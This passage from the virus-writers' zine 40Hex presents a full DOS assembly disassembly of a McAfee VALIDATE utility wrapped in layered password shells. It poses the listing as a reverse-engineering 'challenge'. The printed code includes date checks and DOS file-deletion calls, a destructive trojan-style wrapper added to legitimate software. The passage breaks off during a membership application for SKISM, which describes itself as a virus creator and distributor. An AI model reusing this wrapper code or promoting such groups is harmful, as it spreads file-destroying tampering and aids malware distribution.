VALIDATE. I noticed when I took a close look at the internal workings of this program (while working on a little revenge project) that there is text in the program. The strings read "Enter password now" "Access denied" Well this got me going, what is this??? Well this brings up our first 40Hex challenge. I am including a dissassembly of validate. Here it is: ------------------------------------------------------------------------------- data_1e equ 100h data_2e equ 102h data_3e equ 2Ch data_4e equ 14h data_5e equ 16h data_6e equ 18h data_7e equ 1Ah data_8e equ 47h data_9e equ 49h data_10e equ 4Ah data_11e equ 59h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h validate proc far start: jmp loc_96 db 0Dh, ' ', 0Dh, 0Ah, 'VALIDATE 0' db '.3 ' copyright db 'Copyright 1988-89 by McAfee Asso' db 'ciates.' db ' (408) 988-3832', 0Dh, 0Ah, 0Dh db 0Ah, 'Written by Dennis Yelle', 0Dh db 0Ah, 0Dh, 0Ah db 1Ah data_19 db 30h dexed access) db '123456789ABCDEF' db 10h, 0Fh, 0Dh, 8, 6, 3 db 1, 0, 0C8h, 10h, 0Ch, 5 db 0, 0C8h, 10h, 0Fh, 2, 0 db 0C8h, 10h, 0Fh, 0Eh, 7, 6 db 0, 0C8h, 10h, 0Fh, 0Dh, 0 db 0C8h loc_1: mov al,1 mov ah,4Ch int 21h db 0CDh, 20h loc_2: jmp short loc_2 validate endp sub_1 proc near mov dx,si loc_3: lodsb cmp al,1 ja loc_3 pushf mov cx,si sub cx,dx dec cx mov ah,40h mov bx,1 int 21h popf jz loc_1 retn sub_1 endp sub_2 proc near mov bp,sp xchg si,[bp] call sub_1 xchg si,[bp] retn sub_2 endp db 0B4h, 40h, 0BBh, 2, 0, 0B9h db 48h, 0, 0BAh, 9, 1, 0CDh db 21h, 0A1h, 2, 0, 8Ch, 0CBh db 29h, 0D8h, 3Dh, 0, 10h, 77h db 52h, 0E8h, 0D8h, 0FFh db 0Dh, 0Ah, ' Sorry, there is not e' db 'nough memory available.', 0Dh, 0Ah db ' I need 66000 bytes of RAM.', 0Dh db 0Ah db 1, 0BEh, 80h, 0, 0ACh, 0Ah db 0C0h db 74h, 9 loc_4: lodsb cmp al,20h je loc_4 cmp al,0Dh jne loc_6 loc_5: jmp loc_10 loc_6: dec si mov data_33,si push si mov si,197h call sub_9 mov di,666h call sub_10 mov si,186h call sub_9 mov di,866h call sub_10 call sub_2 and [bx+si],ah and [bx+si],ah and [bx+si],ah and [bx+si],ah and [bx+si],ah inc si db 'ile Name: ' db 0, 5Eh loc_7: lodsb cmp al,20h jg loc_7 push ax xor al,al mov [si-1],al mov bx,1 mov cx,si dec cx mov dx,data_33 sub cx,dx mov ah,40h int 21h push si call sub_8 mov dx,data_33 mov ax,3D00h int 21h jc loc_11 mov data_32,ax ;* call sub_3 db 0E8h, 0B8h, 0 mov ah,3Eh mov bx,data_32 int 21h pop si pop ax cmp al,0Dh je loc_9 loc_8: lodsb cmp al,20h je loc_8 cmp al,0Dh je loc_9 call sub_8 jmp loc_6 loc_9: mov ax,4C00h int 21h loc_10: mov dx,2E6h mov cx,84h jmp loc_17 loc_11: mov dx,5FBh mov cx,29h jmp loc_17 db 'This program prints the validati' db 'on information for a file.', 0Dh db 0Ah, 'Examples:', 0Dh, 0Ah, ' ' db ' VALIDATE SCAN.EXE', 0Dh, 0Ah db ' VALIDATE SCANRES.EXE', 0Dh db 0Ah sub_3 proc near xor ax,ax mov data_34,ax mov data_35,ax loc_12: mov bx,data_32 mov dx,0A66h mov cx,8000h mov ah,3Fh int 21h jnc loc_13 jmp loc_16 loc_13: or ax,ax jz loc_14 mov dx,ax push dx mov si,0A66h mov di,666h mov cx,data_34 call sub_11 mov data_34,cx pop dx mov si,0A66h mov di,866h mov cx,data_35 call sub_11 mov data_35,cx jmp short loc_12 loc_14: call sub_2 and [bx+si],ah and [bx+si],ah and [bx+si],ah and [bx+si],ah and [bx+si],ah and [bx+si],ah and [bx+si],ah and [bp+di+69h],dl jp $+67h cmp ah,[bx+si] and [bx+si],al mov ax,4202h mov bx,data_32 xor cx,cx xor dx,dx int 21h jnc $+0Fh call sub_2 jnz $+70h db 6Bh, 6Eh, 6Fh, 77h, 6Eh, 0 db 0EBh, 3, 0E8h, 59h, 1, 0E8h db 0D1h, 0FDh db 0Dh, 0Ah, ' Date: ' db 0, 0B8h, 0, 57h, 8Bh, 1Eh db 4Eh, 6, 0CDh, 21h, 73h, 8 db 0BEh, 0DDh, 3, 0E8h, 8Fh, 0FDh db 0EBh, 26h, 52h, 8Bh, 0C2h, 0B1h db 5, 0D3h, 0E8h, 25h, 0Fh, 0 db 0E8h, 70h, 1, 0E8h, 98h, 0 db 58h, 50h, 25h, 1Fh, 0, 0E8h db 65h, 1, 0E8h, 8Dh, 0, 58h db 0B1h, 9, 0D3h, 0E8h, 5, 0BCh db 7, 0E8h, 57h, 1, 0E8h, 7Ch db 0FDh db 0Dh, 0Ah, 'File Authentication:', 0Dh db 0Ah, ' Check Method 1 - ' db 0, 8Bh, 0Eh, 52h, 6, 0E8h db 27h, 0, 0E8h, 43h, 0FDh db 0Dh, 0Ah, ' Check Method 2 - ' db 0, 8Bh, 0Eh, 54h, 6, 0E8h db 4, 0, 0E8h, 27h, 0, 0C3h db 51h, 89h, 0C8h, 88h, 0E0h, 0E8h db 1, 0 db 58h sub_4: mov bx,ax mov cl,4 shr bx,cl call sub_5 mov bx,ax sub_5: and bx,0Fh mov dl,data_19[bx] sub_6: loc_15: push ax mov ah,2 int 21h pop ax retn sub_7: mov dl,2Dh jmp short loc_15 sub_8: mov dl,0Dh call sub_6 mov dl,0Ah jmp short loc_15 loc_16: mov dx,624h mov cx,29h loc_17: mov bx,2 push ax mov ah,40h int 21h jc loc_18 pop ax loc_18: mov ah,4Ch int 21h sub_3 endp sub_9 proc near xor bx,bx xor cx,cx inc si lodsb loc_19: mov cl,al mov ax,1 shl ax,cl or bx,ax lodsb cmp al,0C8h jb loc_19 mov cl,8 mov di,656h mov ax,bx loc_20: stosw shr ax,1 jnc loc_21 xor ax,bx loc_21: dec cl jnz loc_20 retn sub_9 endp sub_10 proc near mov si,656h xor dx,dx loc_22: mov cx,dx mov bx,si xor ax,ax loc_23: shl cl,1 jnc loc_24 xor ax,[bx] loc_24: add bx,2 or cl,cl jnz loc_23 stosw inc dl jnz loc_22 retn sub_10 endp sub_11 proc near loc_25: lodsb mov bl,cl xor bl,al xor bh,bh mov cl,ch mov ch,0 add bx,bx xor cx,[bx+di] dec dx jnz loc_25 retn sub_11 endp data_27 dw 4240h data_28 dw 0Fh data_29 dw 3E8h data_30 dw 0Ah sub_12 proc near cmp dx,data_28 jb loc_32 ja loc_26 cmp ax,data_27 jb loc_32 loc_26: mov bx,data_27 mov cx,data_28 xor si,si loc_27: inc si shl bx,1 rcl cx,1 jno loc_27 xor di,di loc_28: shl di,1 cmp dx,cx jb loc_30 ja loc_29 cmp ax,bx jb loc_30 loc_29: sub ax,bx sbb dx,cx inc di loc_30: shr cx,1 rcr bx,1 dec si jge loc_28 push dx push ax mov ax,di xor dx,dx call sub_14 mov al,2Ch call sub_19 pop ax pop dx div data_29 push dx call sub_15 jmp short loc_33 sub_13: xor dx,dx cmp ax,2710h jae loc_32 cmp ax,3E8h jb loc_32 div data_29 or ax,ax push dx jz loc_31 call sub_16 loc_31: pop ax jmp short loc_34 sub_14: loc_32: div data_29 push dx or ax,ax jz loc_31 call sub_16 loc_33: mov al,2Ch call sub_19 pop ax sub_15: xor dx,dx div data_30 jmp loc_35 db 88h, 0E0h, 32h, 0E4h sub_16: loc_34: cmp ax,0Ah jb loc_37 xor dx,dx div data_30 cmp al,0Ah jb loc_36 loc_35: push dx xor dx,dx div data_30 call sub_17 pop ax jmp loc_37 sub_17: loc_36: push dx call sub_18 pop ax sub_18: loc_37: add al,30h sub_19: mov ah,2 mov dl,al int 21h retn sub_12 endp db 0Dh, 0Ah, ' Sorry, I cannot open ' db 'the input file.', 0Dh, 0Ah, 0Dh, 0Ah db ' Sorry, I cannot read the input ' db 'file.', 0Dh, 0Ah db 90h data_32 dw 0 data_33 dw 0 data_34 dw 0 data_35 dw 0 db 0ACh, 29h, 0ADh, 29h, 0AEh, 29h db 0AFh, 29h, 0B0h, 29h, 0E9h, 70h db 2, 0E9h, 49h, 2 db 14 dup (0) db 0E9h, 0C7h, 0, 0Dh, 0, 0 db 0 db 44h, 29h db 42 dup (0) db 0CCh, 7, 6, 7 db 13 dup (0) db 3, 2, 0CFh, 0C8h, 0Dh, 0C9h db 0Dh db 79 dup (0) db 0Dh, 0Ah, 'Please enter the passw' db 'ord now: ' db 0 db 0Dh, 0Ah, 'This program requires ' db 'DOS 3.00 or greater' db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah db 2Eh, 2Ah, 0 db 0Dh, 0Ah, '%%211#---4677^^^%' db 7, 0Dh, 0Ah, 0, 42h, 23h db 0 db 305 dup (0) db 50h, 53h, 0A1h, 1, 1, 5 db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h db 6Bh, 2, 50h, 0CBh, 5Bh, 58h db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh db 0A3h, 1Dh, 1, 2Eh, 89h, 26h db 1Fh, 1, 2Eh, 8Ch, 16h, 21h db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1 db 50h, 53h, 51h, 52h, 56h, 57h db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0 db 3Ch, 50h, 75h, 6, 0E8h, 6Ah db 0, 0EBh, 15h, 90h, 3Ch, 44h db 75h, 6, 0E8h, 78h, 0, 0EBh db 0Bh, 90h loc_38: cmp al,4Ch jne loc_39 call sub_21 jmp short loc_40 loc_39: stc loc_40: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx cmp byte ptr cs:data_7e,0 je loc_41 mov ax,cs:data_4e mov ds:data_1e,ax mov ax,cs:data_5e mov ds:data_2e,ax mov ax,100h mov cs:data_4e,ax mov cs:data_5e,ds jmp short loc_42 loc_41: mov ax,cs sub ax,cs:data_6e add cs:data_5e,ax loc_42: pop ax mov ss,word ptr cs:[121h] mov sp,word ptr cs:[11Fh] jmp dword ptr cs:data_4e db 0BAh, 4, 1, 0E8h, 0BCh, 0 db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h db 6, 58h, 0, 29h, 0BAh, 58h db 0, 0E8h, 74h, 0, 0E8h, 0BDh db 0, 0E8h, 87h, 0, 0C3h sub_20 proc near mov ah,2Ah int 21h cmp cx,ds:data_8e jb loc_44 cmp dh,ds:data_9e jb loc_44 cmp dl,ds:data_10e jb loc_44 jmp short loc_44 db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch db 3, 73h, 4, 0F8h, 0EBh, 25h db 90h, 1Eh, 6, 32h, 0C0h, 0B9h db 0, 80h, 2Eh, 8Eh, 6, 1Bh db 1, 26h, 8Eh, 6, 2Ch, 0 db 33h, 0FFh loc_43: repne scasb scasb jnz loc_43 add di,2 push es pop ds mov dx,di mov ah,41h clc pop es pop ds loc_44: cmc retn sub_20 endp sub_21 proc near mov ah,1Ah mov dx,83h int 21h mov ah,4Eh mov cx,8 mov dx,0FFh int 21h mov si,0A1h mov di,4Bh cld loc_45: lodsb scasb stc jnz loc_ret_46 or al,al jnz loc_45 loc_ret_46: retn sub_21 endp sub_22 proc near push ax push bx push cx mov ah,0Ah int 21h mov bx,dx inc bx mov cl,[bx] xor ch,ch jcxz loc_48 locloop_47: inc bx not byte ptr [bx] loop locloop_47 loc_48: pop cx pop bx pop ax retn sub_22 endp sub_23 proc near push cx push si push di mov cl,ds:data_11e xor ch,ch mov si,59h mov di,1Dh cld repe cmpsb jz loc_49 stc loc_49: pop di pop si pop cx retn sub_23 endp sub_24 proc near push bx push dx mov bx,dx loc_50: mov dl,[bx] or dl,dl jz loc_51 call sub_25 inc bx jmp short loc_50 loc_51: pop dx pop bx retn sub_24 endp sub_25 proc near push ax mov ah,2 int 21h pop ax retn sub_25 endp sub_26 proc near push dx mov dl,0Dh call sub_25 mov dl,0Ah call sub_25 pop dx retn sub_26 endp db 0, 0, 0, 0, 0ACh, 29h db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h db 0B0h, 29h, 0E9h, 70h, 2, 0E9h db 49h, 2 db 14 dup (0) db 0E9h, 60h, 5, 0Dh, 0, 0 db 0 db 44h, 29h db 42 dup (0) db 0EAh, 7, 0Ch, 1Fh, 0 db 12 dup (0) db 3, 2, 0CCh, 0CEh, 0Dh, 0C9h db 0Dh db 79 dup (0) db 0Dh, 0Ah, 'Please enter the passw' db 'ord now: ' db 0 db 0Dh, 0Ah, 'This program requires ' db 'DOS 3.00 or greater' db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah db 2Eh, 2Ah, 0 db 0Dh, 0Ah, '%%211#---4677^^^%' db 7, 0Dh, 0Ah, 0, 42h, 23h db 0 db 305 dup (0) db 50h, 53h, 0A1h, 1, 1, 5 db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h db 6Bh, 2, 50h, 0CBh, 5Bh, 58h db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh db 0A3h, 1Dh, 1, 2Eh, 89h, 26h db 1Fh, 1, 2Eh, 8Ch, 16h, 21h db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1 db 50h, 53h, 51h, 52h, 56h, 57h db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0 db 3Ch, 50h, 75h, 6, 0E8h, 6Ah db 0, 0EBh, 15h, 90h, 3Ch, 44h db 75h, 6, 0E8h, 78h, 0, 0EBh db 0Bh, 90h loc_52: cmp al,4Ch jne loc_53 call sub_28 jmp short loc_54 loc_53: stc loc_54: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx cmp byte ptr cs:data_7e,0 je loc_55 mov ax,cs:data_4e mov ds:data_1e,ax mov ax,cs:data_5e mov ds:data_2e,ax mov ax,100h mov cs:data_4e,ax mov cs:data_5e,ds jmp short loc_56 loc_55: mov ax,cs sub ax,cs:data_6e add cs:data_5e,ax loc_56: pop ax mov ss,word ptr cs:[121h] mov sp,word ptr cs:[11Fh] jmp dword ptr cs:data_4e db 0BAh, 4, 1, 0E8h, 0BCh, 0 db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h db 6, 58h, 0, 29h, 0BAh, 58h db 0, 0E8h, 74h, 0, 0E8h, 0BDh db 0, 0E8h, 87h, 0, 0C3h sub_27 proc near mov ah,2Ah int 21h cmp cx,ds:data_8e jb loc_58 cmp dh,ds:data_9e jb loc_58 cmp dl,ds:data_10e jb loc_58 jmp short loc_58 db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch db 3, 73h, 4, 0F8h, 0EBh, 25h db 90h, 1Eh, 6, 32h, 0C0h, 0B9h db 0, 80h, 2Eh, 8Eh, 6, 1Bh db 1, 26h, 8Eh, 6, 2Ch, 0 db 33h, 0FFh loc_57: repne scasb scasb jnz loc_57 add di,2 push es pop ds mov dx,di mov ah,41h clc pop es pop ds loc_58: cmc retn sub_27 endp sub_28 proc near mov ah,1Ah mov dx,83h int 21h mov ah,4Eh mov cx,8 mov dx,0FFh int 21h mov si,0A1h mov di,4Bh cld loc_59: lodsb scasb stc jnz loc_ret_60 or al,al jnz loc_59 loc_ret_60: retn sub_28 endp sub_29 proc near push ax push bx push cx mov ah,0Ah int 21h mov bx,dx inc bx mov cl,[bx] xor ch,ch jcxz loc_62 locloop_61: inc bx not byte ptr [bx] loop locloop_61 loc_62: pop cx pop bx pop ax retn sub_29 endp sub_30 proc near push cx push si push di mov cl,ds:data_11e xor ch,ch mov si,59h mov di,1Dh cld repe cmpsb jz loc_63 stc loc_63: pop di pop si pop cx retn sub_30 endp sub_31 proc near push bx push dx mov bx,dx loc_64: mov dl,[bx] or dl,dl jz loc_65 call sub_32 inc bx jmp short loc_64 loc_65: pop dx pop bx retn sub_31 endp sub_32 proc near push ax mov ah,2 int 21h pop ax retn sub_32 endp sub_33 proc near push dx mov dl,0Dh call sub_32 mov dl,0Ah call sub_32 pop dx retn sub_33 endp db 0, 0, 0, 0, 0ACh, 29h db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h db 0B0h, 29h, 0E9h, 70h, 2, 0E9h db 49h, 2 db 14 dup (0) db 0E9h, 60h, 9, 0Dh, 0, 0 db 0 db 44h, 29h db 42 dup (0) db 0C2h, 7, 9, 0Bh, 0 db 12 dup (0) db 3, 2, 0CEh, 0CEh, 0Dh, 0C9h db 0Dh db 79 dup (0) db 0Dh, 0Ah, 'Please enter the passw' db 'ord now: ' db 0 db 0Dh, 0Ah, 'This program requires ' db 'DOS 3.00 or greater' db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah db 2Eh, 2Ah, 0 db 0Dh, 0Ah, '%%211#---4677^^^%' db 7, 0Dh, 0Ah, 0, 42h, 23h db 0 db 305 dup (0) db 50h, 53h, 0A1h, 1, 1, 5 db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h db 6Bh, 2, 50h, 0CBh, 5Bh, 58h db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh db 0A3h, 1Dh, 1, 2Eh, 89h, 26h db 1Fh, 1, 2Eh, 8Ch, 16h, 21h db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1 db 50h, 53h, 51h, 52h, 56h, 57h db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0 db 3Ch, 50h, 75h, 6, 0E8h, 6Ah db 0, 0EBh, 15h, 90h, 3Ch, 44h db 75h, 6, 0E8h, 78h, 0, 0EBh db 0Bh, 90h loc_66: cmp al,4Ch jne loc_67 call sub_35 jmp short loc_68 loc_67: stc loc_68: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx cmp byte ptr cs:data_7e,0 je loc_69 mov ax,cs:data_4e mov ds:data_1e,ax mov ax,cs:data_5e mov ds:data_2e,ax mov ax,100h mov cs:data_4e,ax mov cs:data_5e,ds jmp short loc_70 loc_69: mov ax,cs sub ax,cs:data_6e add cs:data_5e,ax loc_70: pop ax mov ss,word ptr cs:[121h] mov sp,word ptr cs:[11Fh] jmp dword ptr cs:data_4e db 0BAh, 4, 1, 0E8h, 0BCh, 0 db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h db 6, 58h, 0, 29h, 0BAh, 58h db 0, 0E8h, 74h, 0, 0E8h, 0BDh db 0, 0E8h, 87h, 0, 0C3h sub_34 proc near mov ah,2Ah int 21h cmp cx,ds:data_8e jb loc_72 cmp dh,ds:data_9e jb loc_72 cmp dl,ds:data_10e jb loc_72 jmp short loc_72 db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch db 3, 73h, 4, 0F8h, 0EBh, 25h db 90h, 1Eh, 6, 32h, 0C0h, 0B9h db 0, 80h, 2Eh, 8Eh, 6, 1Bh db 1, 26h, 8Eh, 6, 2Ch, 0 db 33h, 0FFh loc_71: repne scasb scasb jnz loc_71 add di,2 push es pop ds mov dx,di mov ah,41h clc pop es pop ds loc_72: cmc retn sub_34 endp sub_35 proc near mov ah,1Ah mov dx,83h int 21h mov ah,4Eh mov cx,8 mov dx,0FFh int 21h mov si,0A1h mov di,4Bh cld loc_73: lodsb scasb stc jnz loc_ret_74 or al,al jnz loc_73 loc_ret_74: retn sub_35 endp sub_36 proc near push ax push bx push cx mov ah,0Ah int 21h mov bx,dx inc bx mov cl,[bx] xor ch,ch jcxz loc_76 locloop_75: inc bx not byte ptr [bx] loop locloop_75 loc_76: pop cx pop bx pop ax retn sub_36 endp sub_37 proc near push cx push si push di mov cl,ds:data_11e xor ch,ch mov si,59h mov di,1Dh cld repe cmpsb jz loc_77 stc loc_77: pop di pop si pop cx retn sub_37 endp sub_38 proc near push bx push dx mov bx,dx loc_78: mov dl,[bx] or dl,dl jz loc_79 call sub_39 inc bx jmp short loc_78 loc_79: pop dx pop bx retn sub_38 endp sub_39 proc near push ax mov ah,2 int 21h pop ax retn sub_39 endp sub_40 proc near push dx mov dl,0Dh call sub_39 mov dl,0Ah call sub_39 pop dx retn sub_40 endp db 0, 0, 0, 0, 0ACh, 29h db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h db 0B0h, 29h, 0E9h, 6Ch, 2, 0E9h db 45h, 2, 0 db 13 dup (0) db 0E9h, 60h, 0Dh, 0Dh, 0, 0 db 0 db 44h, 29h db 42 dup (0) db 0D2h, 7, 1, 1 db 13 dup (0) db 3, 2, 0CFh, 0CEh, 0Dh, 0CDh db 0Dh db 79 dup (0) db 0Dh, 0Ah, 'Please enter the passw' db 'ord now: ' db 0 db 0Dh, 0Ah, 'This program requires ' db 'DOS 3.00 or greater' db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah db 2Eh, 2Ah, 0 db 0Dh, 0Ah, 'Access denied' db 7, 0Dh, 0Ah, 0, 42h, 23h db 0 db 305 dup (0) db 50h, 53h, 0A1h, 1, 1, 5 db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h db 67h, 2, 50h, 0CBh, 5Bh, 58h db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh db 2Eh, 8Ch, 6, 17h, 1, 2Eh db 0A3h, 19h, 1, 2Eh, 89h, 26h db 1Bh, 1, 2Eh, 8Ch, 16h, 1Dh db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh db 4Bh, 2, 2Eh, 0A1h, 19h, 1 db 50h, 53h, 51h, 52h, 56h, 57h db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0 db 3Ch, 50h, 75h, 6, 0E8h, 6Ch db 0, 0EBh, 15h, 90h, 3Ch, 44h db 75h, 6, 0E8h, 7Ah, 0, 0EBh db 0Bh, 90h loc_80: cmp al,4Ch jne loc_81 call sub_42 jmp short loc_82 loc_81: stc loc_82: jc loc_85 pop es pop ds pop bp pop di pop si pop dx pop cx pop bx cmp byte ptr cs:data_7e,0 je loc_83 mov ax,cs:data_4e mov ds:data_1e,ax mov ax,cs:data_5e mov ds:data_2e,ax mov ax,100h mov cs:data_4e,ax mov cs:data_5e,ds jmp short loc_84 loc_83: mov ax,cs sub ax,cs:data_6e add cs:data_5e,ax loc_84: pop ax mov ss,word ptr cs:[11Dh] mov sp,word ptr cs:[11Bh] jmp dword ptr cs:data_4e loc_85: mov dx,104h call sub_45 mov ax,4CFFh int 21h db 0BAh, 0AEh, 0, 0E8h, 0B6h, 0 db 0C6h, 6, 58h, 0, 29h, 0BAh db 58h, 0, 0E8h, 79h, 0, 0E8h db 0C2h, 0, 0E8h, 8Ch, 0, 0C3h sub_41 proc near mov ah,2Ah int 21h cmp cx,ds:data_8e jb loc_88 cmp dh,ds:data_9e jb loc_88 cmp dl,ds:data_10e jb loc_88 mov ah,30h int 21h cmp al,3 jae loc_86 mov dx,0D0h call sub_45 clc jmp short loc_88 db 90h loc_86: push ds push es xor al,al mov cx,8000h mov es,word ptr cs:copyright+1 mov es,es:data_3e xor di,di loc_87: repne scasb scasb jnz loc_87 add di,2 push es pop ds mov dx,di mov ah,41h int 21h clc pop es pop ds loc_88: cmc retn sub_41 endp sub_42 proc near mov ah,1Ah mov dx,83h int 21h mov ah,4Eh mov cx,8 mov dx,0FFh int 21h mov si,0A1h mov di,4Bh cld loc_89: lodsb scasb stc jnz loc_ret_90 or al,al jnz loc_89 loc_ret_90: retn sub_42 endp sub_43 proc near push ax push bx push cx mov ah,0Ah int 21h mov bx,dx inc bx mov cl,[bx] xor ch,ch jcxz loc_92 locloop_91: inc bx not byte ptr [bx] loop locloop_91 loc_92: pop cx pop bx pop ax retn sub_43 endp sub_44 proc near push cx push si push di mov cl,ds:data_11e xor ch,ch mov si,59h mov di,1Dh cld repe cmpsb jz loc_93 stc loc_93: pop di pop si pop cx retn sub_44 endp sub_45 proc near push bx push dx mov bx,dx loc_94: mov dl,[bx] or dl,dl jz loc_95 call sub_46 inc bx jmp short loc_94 loc_95: pop dx pop bx retn sub_45 endp sub_46 proc near push ax mov ah,2 int 21h pop ax retn sub_46 endp sub_47 proc near push dx mov dl,0Dh call sub_46 mov dl,0Ah call sub_46 pop dx retn sub_47 endp db 0, 0ACh, 29h, 0ADh, 29h, 0AEh db 29h, 0AFh, 29h, 0B0h, 29h, 0E9h db 6Ch, 2 loc_96: jmp loc_97 db 0 db 13 dup (0) db 0E9h, 60h, 11h, 0Dh, 0, 0 db 0 db 44h, 29h db 42 dup (0) db 0D0h, 7, 6, 6 db 13 dup (0) db 3, 2, 0CFh, 0C9h, 0Dh, 0CFh db 0Dh db 79 dup (0) db 0Dh, 0Ah, 'Please enter the passw' db 'ord now: ' db 0 db 0Dh, 0Ah, 'This program requires ' db 'DOS 3.00 or greater' db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah db 2Eh, 2Ah, 0 db 0Dh, 0Ah, 'Access denied' db 7, 0Dh, 0Ah, 0, 42h, 23h db 0 db 305 dup (0) loc_97: push ax push bx mov ax,word ptr ds:[101h] add ax,103h shr ax,1 shr ax,1 shr ax,1 shr ax,1 mov bx,ax mov ax,cs add ax,bx push ax mov ax,267h push ax retf db 5Bh, 58h, 2Eh, 0C6h, 6, 1Ah db 0, 0FFh, 2Eh, 8Ch, 6, 17h db 1, 2Eh, 0A3h, 19h, 1, 2Eh db 89h, 26h, 1Bh, 1, 2Eh, 8Ch db 16h, 1Dh, 1, 8Ch, 0C8h, 8Eh db 0D0h, 0BCh, 4Bh, 2, 2Eh, 0A1h db 19h, 1, 50h, 53h, 51h, 52h db 56h, 57h, 55h, 1Eh, 6, 8Ch db 0C8h, 8Eh, 0D8h, 8Eh, 0C0h, 0A0h db 1Bh, 0, 3Ch, 50h, 75h, 6 db 0E8h, 6Ch, 0, 0EBh, 15h, 90h db 3Ch, 44h, 75h, 6, 0E8h, 7Ah db 0, 0EBh, 0Bh, 90h loc_98: cmp al,4Ch jne loc_99 call sub_49 jmp short loc_100 loc_99: stc loc_100: jc loc_103 pop es pop ds pop bp pop di pop si pop dx pop cx pop bx cmp byte ptr cs:data_7e,0 je loc_101 mov ax,cs:data_4e mov ds:data_1e,ax mov ax,cs:data_5e mov ds:data_2e,ax mov ax,100h mov cs:data_4e,ax mov cs:data_5e,ds jmp short loc_102 loc_101: mov ax,cs sub ax,cs:data_6e add cs:data_5e,ax loc_102: pop ax mov ss,word ptr cs:[11Dh] mov sp,word ptr cs:[11Bh] jmp dword ptr cs:data_4e loc_103: mov dx,104h call sub_52 mov ax,4CFFh int 21h db 0BAh, 0AEh, 0, 0E8h, 0B6h, 0 db 0C6h, 6, 58h, 0, 29h, 0BAh db 58h, 0, 0E8h, 79h, 0, 0E8h db 0C2h, 0, 0E8h, 8Ch, 0, 0C3h sub_48 proc near mov ah,2Ah int 21h cmp cx,ds:data_8e jb loc_106 cmp dh,ds:data_9e jb loc_106 cmp dl,ds:data_10e jb loc_106 mov ah,30h int 21h cmp al,3 jae loc_104 mov dx,0D0h call sub_52 clc jmp short loc_106 db 90h loc_104: push ds push es xor al,al mov cx,8000h mov es,word ptr cs:copyright+1 mov es,es:data_3e xor di,di loc_105: repne scasb scasb jnz loc_105 add di,2 push es pop ds mov dx,di mov ah,41h int 21h clc pop es pop ds loc_106: cmc retn sub_48 endp sub_49 proc near mov ah,1Ah mov dx,83h int 21h mov ah,4Eh mov cx,8 mov dx,0FFh int 21h mov si,0A1h mov di,4Bh cld loc_107: lodsb scasb stc jnz loc_ret_108 or al,al jnz loc_107 loc_ret_108: retn sub_49 endp sub_50 proc near push ax push bx push cx mov ah,0Ah int 21h mov bx,dx inc bx mov cl,[bx] xor ch,ch jcxz loc_110 locloop_109: inc bx not byte ptr [bx] loop locloop_109 loc_110: pop cx pop bx pop ax retn sub_50 endp sub_51 proc near push cx push si push di mov cl,ds:data_11e xor ch,ch mov si,59h mov di,1Dh cld repe cmpsb jz loc_111 stc loc_111: pop di pop si pop cx retn sub_51 endp sub_52 proc near push bx push dx mov bx,dx loc_112: mov dl,[bx] or dl,dl jz loc_113 call sub_53 inc bx jmp short loc_112 loc_113: pop dx pop bx retn sub_52 endp sub_53 proc near push ax mov ah,2 int 21h pop ax retn sub_53 endp sub_54 proc near push dx mov dl,0Dh call sub_53 mov dl,0Ah call sub_53 pop dx retn sub_54 endp db 0F0h, 0FDh, 0C5h, 0AAh, 0FFh, 0F0h db 8Dh, 6Dh, 0B2h db 73h seg_a ends end start ------------------------------------------------------------------------------- 40Hex Issue 3 0005 Application For Membership To SKISM SKISM is quickly becoming one of the largest virus creators/ distributers in America. Part of getting bigger is branching out in new directions and getting more members. If you wish to apply for membership to SKISM or if you want 